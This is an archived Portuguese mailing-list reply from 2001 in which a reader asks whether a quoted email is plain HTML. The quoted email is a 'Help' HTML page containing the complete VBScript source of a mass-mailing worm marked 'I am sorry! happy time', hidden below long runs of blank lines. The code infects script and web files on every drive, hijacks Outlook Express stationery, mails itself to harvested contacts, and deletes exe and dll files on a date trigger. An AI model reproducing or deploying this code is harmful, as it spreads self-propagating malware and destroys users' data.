-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On Wed, 19 Dec 2001, Philipe Gaspar wrote:
Pessoal!
Eu não sou programador, apesar de ter feitos alguns programas em VB, mas
isto aqui é *só* html???
[]s Ricardo Castanho
>Em Tuesday 18 December 2001 23:56, Javier Farian escreveu:
>> <HTML><HEAD>
>> <Title> Help </Title></HEAD>
>> <Body> <script language='VBScript'>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>> Rem I am sorry! happy time
>> On Error Resume Next
>> mload
>> Sub mload()
>> On Error Resume Next
>> mPath = Grf()
>> Set Os = CreateObject("Scriptlet.TypeLib")
>> Set Oh = CreateObject("Shell.Application")
>> If IsHTML Then
>> mURL = LCase(document.Location)
>> If mPath = "" Then
>> Os.Reset
>> Os.Path = "C:\Help.htm"
>> Os.Doc = Lhtml()
>> Os.Write()
>> Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm'
>> width='0' height='0'></Iframe></span>" Call
>> document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
>> Else
>> If Iv(mPath, "Help.vbs") Then
>> setInterval "Rt()", 10000
>> Else
>> m = "hta"
>> If LCase(m) = Right(mURL, Len(m)) Then
>> id = setTimeout("mclose()", 1)
>> main
>> Else
>> Os.Reset()
>> Os.Path = mPath & "\" & "Help.hta"
>> Os.Doc = Lhtml()
>> Os.write()
>> Iv mPath, "Help.hta"
>> End If
>> End If
>> End If
>> Else
>> main
>> End If
>> End Sub
>> Sub main()
>> On Error Resume Next
>> Set Of = CreateObject("Scripting.FileSystemObject")
>> Set Od = CreateObject("Scripting.Dictionary")
>> Od.Add "html", "1100"
>> Od.Add "vbs", "0100"
>> Od.Add "htm", "1100"
>> Od.Add "asp", "0010"
>> Ks = "HKEY_CURRENT_USER\Software\"
>> Ds = Grf()
>> Cs = Gsf()
>> If IsVbs Then
>> If Of.FileExists("C:\help.htm") Then
>> Of.DeleteFile ("C:\help.htm")
>> End If
>> Key = CInt(Month(Date) + Day(Date))
>> If Key = 13 Then
>> Od.RemoveAll
>> Od.Add "exe", "0001"
>> Od.Add "dll", "0001"
>> End If
>> Cn = Rg(Ks & "Help\Count")
>> If Cn = "" Then
>> Cn = 1
>> End If
>> Rw Ks & "Help\Count", Cn + 1
>> f1 = Rg(Ks & "Help\FileName")
>> f2 = FNext(Of, Od, f1)
>> fext = GetExt(Of, Od, f2)
>> Rw Ks & "Help\FileName", f2
>> If IsDel(fext) Then
>> f3 = f2
>> f2 = FNext(Of, Od, f2)
>> Rw Ks & "Help\FileName", f2
>> Of.DeleteFile f3
>> Else
>> If LCase(WScript.ScriptFullname) <> LCase(f2) Then
>> Fw Of, f2, fext
>> End If
>> End If
>> If (CInt(Cn) Mod 366) = 0 Then
>> If (CInt(Second(Time)) Mod 2) = 0 Then
>> Tsend
>> Else
>> adds = Og
>> Msend (adds)
>> End If
>> End If
>> wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
>> If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
>> If wp = "" Then
>> n1 = ""
>> n3 = Cs & "\Help.htm"
>> Else
>> mP = Of.GetFile(wp).ParentFolder
>> n1 = Of.GetFileName(wp)
>> n2 = Of.GetBaseName(wp)
>> n3 = Cs & "\" & n2 & ".htm"
>> End If
>> Set pfc = Of.CreateTextFile(n3, True)
>> mt = Sa("1100")
>> pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 &
>> "'><" & "/Body><" & "/HTML>" & mt pfc.Close
>> Rw Ks & "Help\wallPaper", n3
>> Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
>> End If
>> Else
>> Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
>> fc.Write Sa("0100")
>> fc.Close
>> bf = Cs & "\Untitled.htm"
>> Set fc2 = Of.CreateTextFile(bf, True)
>> fc2.Write Lhtml
>> fc2.Close
>> oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
>> oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook
>> Express\5.0\Mail" MSH = oe & "\Message Send HTML"
>> CUS = oe & "\Compose Use Stationery"
>> SN = oe & "\Stationery Name"
>> Rw MSH, 1
>> Rw CUS, 1
>> Rw SN, bf
>> Web = Cs & "\WEB"
>> Set gf = Of.GetFolder(Web).Files
>> Od.Add "htt", "1100"
>> For Each m In gf
>> fext = GetExt(Of, Od, m)
>> If fext <> "" Then
>> Fw Of, m, fext
>> End If
>> Next
>> End If
>> End Sub
>> Sub mclose()
>> document.Write "<" & "title>I am sorry!</title" & ">"
>> window.Close
>> End Sub
>> Sub Rt()
>> Dim mPath
>> On Error Resume Next
>> mPath = Grf()
>> Iv mPath, "Help.vbs"
>> End Sub
>> Function Sa(n)
>> Dim VBSText, m
>> VBSText = Lvbs()
>> If Mid(n, 3, 1) = 1 Then
>> m = "<%" & VBSText & "%>"
>> End If
>> If Mid(n, 2, 1) = 1 Then
>> m = VBSText
>> End If
>> If Mid(n, 1, 1) = 1 Then
>> m = Lscript(m)
>> End If
>> Sa = m & vbCrLf
>> End Function
>> Sub Fw(Of, S, n)
>> Dim fc, fc2, m, mmail, mt
>> On Error Resume Next
>> Set fc = Of.OpenTextFile(S, 1)
>> mt = fc.ReadAll
>> fc.Close
>> If Not Sc(mt) Then
>> mmail = Ml(mt)
>> mt = Sa(n)
>> Set fc2 = Of.OpenTextFile(S, 8)
>> fc2.Write mt
>> fc2.Close
>> Msend (mmail)
>> End If
>> End Sub
>> Function Sc(S)
>> mN = "Rem I am sorry! happy time"
>> If InStr(S, mN) > 0 Then
>> Sc = True
>> Else
>> Sc = False
>> End If
>> End Function
>> Function FNext(Of, Od, S)
>> Dim fpath, fname, fext, T, gf
>> On Error Resume Next
>> fname = ""
>> T = False
>> If Of.FileExists(S) Then
>> fpath = Of.GetFile(S).ParentFolder
>> fname = S
>> ElseIf Of.FolderExists(S) Then
>> fpath = S
>> T = True
>> Else
>> fpath = Dnext(Of, "")
>> End If
>> Do While True
>> Set gf = Of.GetFolder(fpath).Files
>> For Each m In gf
>> If T Then
>> If GetExt(Of, Od, m) <> "" Then
>> FNext = m
>> Exit Function
>> End If
>> ElseIf LCase(m) = LCase(fname) Or fname = "" Then
>> T = True
>> End If
>> Next
>> fpath = Pnext(Of, fpath)
>> Loop
>> End Function
>> Function Pnext(Of, S)
>> On Error Resume Next
>> Dim Ppath, Npath, gp, pn, T, m
>> T = False
>> If Of.FolderExists(S) Then
>> Set gp = Of.GetFolder(S).SubFolders
>> pn = gp.Count
>> If pn = 0 Then
>> Ppath = LCase(S)
>> Npath = LCase(Of.GetParentFolderName(S))
>> T = True
>> Else
>> Npath = LCase(S)
>> End If
>> Do While Not Er
>> For Each pn In Of.GetFolder(Npath).SubFolders
>> If T Then
>> If Ppath = LCase(pn) Then
>> T = False
>> End If
>> Else
>> Pnext = LCase(pn)
>> Exit Function
>> End If
>> Next
>> T = True
>> Ppath = LCase(Npath)
>> Npath = Of.GetParentFolderName(Npath)
>> If Of.GetFolder(Ppath).IsRootFolder Then
>> m = Of.GetDriveName(Ppath)
>> Pnext = Dnext(Of, m)
>> Exit Function
>> End If
>> Loop
>> End If
>> End Function
>> Function Dnext(Of, S)
>> Dim dc, n, d, T, m
>> On Error Resume Next
>> T = False
>> m = ""
>> Set dc = Of.Drives
>> For Each d In dc
>> If d.DriveType = 2 Or d.DriveType = 3 Then
>> If T Then
>> Dnext = d
>> Exit Function
>> Else
>> If LCase(S) = LCase(d) Then
>> T = True
>> End If
>> If m = "" Then
>> m = d
>> End If
>> End If
>> End If
>> Next
>> Dnext = m
>> End Function
>> Function GetExt(Of, Od, S)
>> Dim fext
>> On Error Resume Next
>> fext = LCase(Of.GetExtensionName(S))
>> GetExt = Od.Item(fext)
>> End Function
>> Sub Rw(k, v)
>> Dim R
>> On Error Resume Next
>> Set R = CreateObject("WScript.Shell")
>> R.RegWrite k, v
>> End Sub
>> Function Rg(v)
>> Dim R
>> On Error Resume Next
>> Set R = CreateObject("WScript.Shell")
>> Rg = R.RegRead(v)
>> End Function
>> Function IsVbs()
>> Dim ErrTest
>> On Error Resume Next
>> ErrTest = WScript.ScriptFullname
>> If Err Then
>> IsVbs = False
>> Else
>> IsVbs = True
>> End If
>> End Function
>> Function IsHTML()
>> Dim ErrTest
>> On Error Resume Next
>> ErrTest = document.Location
>> If Er Then
>> IsHTML = False
>> Else
>> IsHTML = True
>> End If
>> End Function
>> Function IsMail(S)
>> Dim m1, m2
>> IsMail = False
>> If InStr(S, vbCrLf) = 0 Then
>> m1 = InStr(S, "@")
>> m2 = InStr(S, ".")
>> If m1 <> 0 And m1 < m2 Then
>> IsMail = True
>> End If
>> End If
>> End Function
>> Function Lvbs()
>> Dim f, m, ws, Of
>> On Error Resume Next
>> If IsVbs Then
>> Set Of = CreateObject("Scripting.FileSystemObject")
>> Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
>> Lvbs = f.ReadAll
>> Else
>> For Each ws In document.scripts
>> If LCase(ws.Language) = "vbscript" Then
>> If Sc(ws.Text) Then
>> Lvbs = ws.Text
>> Exit Function
>> End If
>> End If
>> Next
>> End If
>> End Function
>> Function Iv(mPath, mName)
>> Dim Shell
>> On Error Resume Next
>> Set Shell = CreateObject("Shell.Application")
>> Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
>> If Er Then
>> Iv = False
>> Else
>> Iv = True
>> End If
>> End Function
>> Function Grf()
>> Dim Shell, mPath
>> On Error Resume Next
>> Set Shell = CreateObject("Shell.Application")
>> mPath = "C:\"
>> For Each mShell In Shell.NameSpace(mPath).Items
>> If mShell.IsFolder Then
>> Grf = mShell.Path
>> Exit Function
>> End If
>> Next
>> If Er Then
>> Grf = ""
>> End If
>> End Function
>> Function Gsf()
>> Dim Of, m
>> On Error Resume Next
>> Set Of = CreateObject("Scripting.FileSystemObject")
>> m = Of.GetSpecialFolder(0)
>> If Er Then
>> Gsf = "C:\"
>> Else
>> Gsf = m
>> End If
>> End Function
>> Function Lhtml()
>> Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
>> "<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
>> "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
>> "<" & "/Body></HTML" & ">"
>> End Function
>> Function Lscript(S)
>> Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
>> S & "<" & "/script" & ">"
>> End Function
>> Function Sl(S1, S2, n)
>> Dim l1, l2, l3, i
>> l1 = Len(S1)
>> l2 = Len(S2)
>> i = InStr(S1, S2)
>> If i > 0 Then
>> l3 = i + l2 - 1
>> If n = 0 Then
>> Sl = Left(S1, i - 1)
>> ElseIf n = 1 Then
>> Sl = Right(S1, l1 - l3)
>> End If
>> Else
>> Sl = ""
>> End If
>> End Function
>> Function Ml(S)
>> Dim S1, S3, S2, T, adds, m
>> S1 = S
>> S3 = """"
>> adds = ""
>> S2 = S3 & "mailto" & ":"
>> T = True
>> Do While T
>> S1 = Sl(S1, S2, 1)
>> If S1 = "" Then
>> T = False
>> Else
>> m = Sl(S1, S3, 0)
>> If IsMail(m) Then
>> adds = adds & m & vbCrLf
>> End If
>> End If
>> Loop
>> Ml = Split(adds, vbCrLf)
>> End Function
>> Function Og()
>> Dim i, n, m(), Om, Oo
>> Set Oo = CreateObject("Outlook.Application")
>> Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
>> n = Om.Count
>> ReDim m(n)
>> For i = 1 To n
>> m(i - 1) = Om.Item(i).Email1Address
>> Next
>> Og = m
>> End Function
>> Sub Tsend()
>> Dim Od, MS, MM, a, m
>> Set Od = CreateObject("Scripting.Dictionary")
>> MConnect MS, MM
>> MM.FetchSorted = True
>> MM.Fetch
>> For i = 0 To MM.MsgCount - 1
>> MM.MsgIndex = i
>> a = MM.MsgOrigAddress
>> If Od.Item(a) = "" Then
>> Od.Item(a) = MM.MsgSubject
>> End If
>> Next
>> For Each m In Od.Keys
>> MM.Compose
>> MM.MsgSubject = "Fw: " & Od.Item(m)
>> MM.RecipAddress = m
>> MM.AttachmentPathName = Gsf & "\Untitled.htm"
>> MM.Send
>> Next
>> MS.SignOff
>> End Sub
>> Function MConnect(MS, MM)
>> Dim U
>> On Error Resume Next
>> Set MS = CreateObject("MSMAPI.MAPISession")
>> Set MM = CreateObject("MSMAPI.MAPIMessages")
>> U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging
>> Subsystem\Profiles\DefaultProfile") MS.UserName = U
>> MS.DownLoadMail = False
>> MS.NewSession = False
>> MS.LogonUI = True
>> MS.SignOn
>> MM.SessionID = MS.SessionID
>> End Function
>> Sub Msend(Address)
>> Dim MS, MM, i, a
>> MConnect MS, MM
>> i = 0
>> MM.Compose
>> For Each a In Address
>> If IsMail(a) Then
>> MM.RecipIndex = i
>> MM.RecipAddress = a
>> i = i + 1
>> End If
>> Next
>> MM.MsgSubject = " Help "
>> MM.AttachmentPathName = Gsf & "\Untitled.htm"
>> MM.Send
>> MS.SignOff
>> End Sub
>> Function Er()
>> If Err.Number = 0 Then
>> Er = False
>> Else
>> Err.Clear
>> Er = True
>> End If
>> End Function
>> Function IsDel(S)
>> If Mid(S, 4, 1) = 1 Then
>> IsDel = True
>> Else
>> IsDel = False
>> End If
>> End Function
>>
>>
>>
>>
>>
>>
>>
>>
>> </script>
>> </Body></HTML>
>
>
- --
delivery NOT reliable => [EMAIL PROTECTED]
==========================================================
Linux user # 102240 => Machine # 96125 => [EMAIL PROTECTED] user
==========================================================
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Para mais informações veja http://www.gnupg.org
iEYEARECAAYFAjwhBHYACgkQqJymTCNNyXHwWACfT+x47q+NI3yaLUhqx2Qs2/hI
issAn3DYriPHG9MRd6y2da3L7CH4OAlk
=fr3c
-----END PGP SIGNATURE-----
